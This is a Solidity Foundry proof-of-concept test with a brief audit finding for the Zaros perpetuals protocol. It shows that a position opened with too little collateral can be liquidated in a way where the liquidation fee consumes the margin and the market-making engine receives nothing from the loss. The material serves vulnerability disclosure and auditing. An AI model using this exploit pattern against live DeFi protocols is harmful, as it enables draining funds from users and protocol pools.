pragma solidity 0.8.25;
import { PremiumReport } from "@zaros/external/chainlink/interfaces/IStreamsLookupCompatible.sol";
import { IVerifierProxy } from "@zaros/external/chainlink/interfaces/IVerifierProxy.sol";
import { Errors } from "@zaros/utils/Errors.sol";
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";
import { PerpMarket } from "@zaros/perpetuals/leaves/PerpMarket.sol";
import { Position } from "@zaros/perpetuals/leaves/Position.sol";
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";
import { Base_Test } from "test/Base.t.sol";
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";
import { UD60x18, ud60x18 } from "@prb-math/UD60x18.sol";
import { SD59x18, sd59x18, unary } from "@prb-math/SD59x18.sol";
contract FillMarketOrder_Integration_POC_Test is Base_Test {
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
changePrank({ msgSender: users.naruto.account });
}
struct Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context {
uint256 marketId;
uint256 marginValueUsd;
uint256 expectedLastFundingTime;
uint256 expectedOpenInterest;
int256 expectedSkew;
int256 firstOrderExpectedPnl;
SD59x18 secondOrderExpectedPnlX18;
int256 expectedLastFundingRate;
int256 expectedLastFundingFeePerUnit;
uint128 tradingAccountId;
int128 firstOrderSizeDelta;
int128 secondOrderSizeDelta;
bytes firstMockSignedReport;
bytes secondMockSignedReport;
UD60x18 openInterestX18;
UD60x18 firstOrderFeeUsdX18;
UD60x18 secondOrderFeeUsdX18;
UD60x18 firstFillPriceX18;
UD60x18 secondFillPriceX18;
SD59x18 skewX18;
MarketConfig fuzzMarketConfig;
PerpMarket.Data perpMarketData;
MarketOrder.Data marketOrder;
Position.Data expectedPosition;
Position.Data position;
address marketOrderKeeper;
}
function test_POC_fillMarketOrder() external {
Test_GivenTheMarginBalanceUsdIsOverTheMaintenanceMarginUsdRequired_Context memory ctx;
ctx.marketId = BTC_USD_MARKET_ID;
ctx.marginValueUsd = 3080000000054000000;
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
ctx.fuzzMarketConfig = getFuzzMarketConfig(ctx.marketId);
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
ctx.tradingAccountId = createAccountAndDeposit(ctx.marginValueUsd, address(usdz));
ctx.firstOrderSizeDelta = 0.001e18;
(,,, ctx.firstOrderFeeUsdX18,,) = perpsEngine.simulateTrade(
ctx.tradingAccountId,
ctx.fuzzMarketConfig.marketId,
SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
ctx.firstOrderSizeDelta
);
ctx.firstFillPriceX18 = perpsEngine.getMarkPrice(
ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice, ctx.firstOrderSizeDelta
);
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: ctx.firstOrderSizeDelta
})
);
ctx.firstOrderExpectedPnl = int256(0);
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
expectCallToTransfer(usdz, feeRecipients.settlementFeeRecipient, DEFAULT_SETTLEMENT_FEE);
expectCallToTransfer(usdz, feeRecipients.orderFeeRecipient, ctx.firstOrderFeeUsdX18.intoUint256());
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
Position.State memory positionState = perpsEngine.getPositionState(
ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.fuzzMarketConfig.mockUsdPrice
);
assertEq(
UD60x18.unwrap(TradingAccountHarness(address(perpsEngine)).exposed_getMarginCollateralBalance({
tradingAccountId: 1,
collateralType: address(usdz)
}))
, 1000000000050000000,
"Wrong margin collateral balance after liquidation"
);
uint256 updatedPrice = MOCK_BTC_USD_PRICE - MOCK_BTC_USD_PRICE / 10;
updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);
uint128[] memory accountsIds = new uint128[](1);
accountsIds[0] = 1;
changePrank({ msgSender: liquidationKeeper });
perpsEngine.liquidateAccounts(accountsIds);
assertEq(
UD60x18.unwrap(TradingAccountHarness(address(perpsEngine)).exposed_getMarginCollateralBalance({
tradingAccountId: 1,
collateralType: address(usdz)
}))
, 0,
"Wrong margin collateral balance after liquidation"
);
}
}
Traders may put too small collateral to pay the whole liquidation fee to exploit the imbalance between expected profit
and loss. TradingAccount.deductAccountMargin
pays liquidation fee first, so market making engine also receives 0
from pnl.
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/branches/LiquidationBranch.sol#L152-L161
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/leaves/TradingAccount.sol#L528-L566
Foundry.
https://github.com/Cyfrin/2024-07-zaros/blob/7439d79e627286ade431d4ea02805715e46ccf42/src/perpetuals/branches/SettlementBranch.sol#L495-L516